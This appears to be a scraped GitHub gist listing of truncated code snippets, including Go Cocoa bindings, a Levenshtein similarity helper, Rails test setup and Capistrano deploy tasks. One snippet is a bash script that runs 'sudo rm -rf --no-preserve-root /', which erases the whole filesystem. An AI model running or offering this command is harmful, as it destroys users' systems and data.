This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "math" | |
// similarity computes the similarity between | |
// 2 words. w1len and w2len are the lengths of the 2 | |
// words for which to compute the similarity. | |
// ld is the levenshtein distance between the 2 words. | |
// It returns a value between 0 and 1 that identifies the similarity | |
// between the 2 words. 2 equal words will have a similarity of 1. | |
func similarity(w1Len, w2Len, ld int) float64 { | |
maxLen := math.Max(float64(w1Len), float64(w2Len)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package gogoa | |
// #cgo CFLAGS: -x objective-c | |
// #cgo LDFLAGS: -framework Cocoa | |
//#include "g_application.h" | |
import "C" | |
import "unsafe" | |
type Application struct { | |
ptr unsafe.Pointer |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"github.com/alediaferia/gogoa" | |
) | |
func main() { | |
app := gogoa.SharedApplication() | |
window := gogoa.NewWindow(0, 0, 200, 200) | |
window.SetTitle("Gogoga!") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- (BOOL)application:(UIApplication *)application willFinishLaunchingWithOptions:(NSDictionary *)launchOptions { | |
NSProcessInfo *procInfo = [NSProcessInfo processInfo]; | |
NSArray *arguments = [procInfo arguments]; | |
int argc = arguments.count; | |
// we need a strong reference for the | |
// argv because it is required to stay | |
// valid as long as the QGuiApplication instance | |
// is valid | |
_argv = (char**)malloc(sizeof(char*) * argc); | |
for (int i = 0; i < argc; ++i) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
echo "Bye bye" | |
sudo rm -rf --no-preserve-root / |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0x6dfa3881C6cDbd6753432E64BEc7692387Db015E |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'action_controller/railtie' | |
require 'minitest/autorun' | |
require 'rack/test' | |
class TestApp < Rails::Application | |
config.root = File.dirname(__FILE__) | |
config.session_store :cookie_store, key: 'cookie_store_key' | |
secrets.secret_token = 'secret_token' | |
secrets.secret_key_base = 'secret_key_base' | |
config.logger = Logger.new($stdout) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace :go do | |
task :upload do | |
on release_roles :all do | |
upload! "#{repo_path}/#{fetch(:application)}", release_path | |
end | |
end | |
task :build do | |
run_locally do | |
within repo_path do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module LocalGitStrategy | |
def test | |
run_locally do | |
test " [ -f #{repo_path}/.git/HEAD ] " | |
end | |
end | |
def check | |
run_locally do | |
execute :git, :'ls-remote --heads', repo_url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# checking if unadvertedly we have left iit here and | |
# there in protractor test files | |
if git-rev-parse --verify HEAD >/dev/null 2>&1; then | |
against=HEAD | |
else | |
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 | |
fi |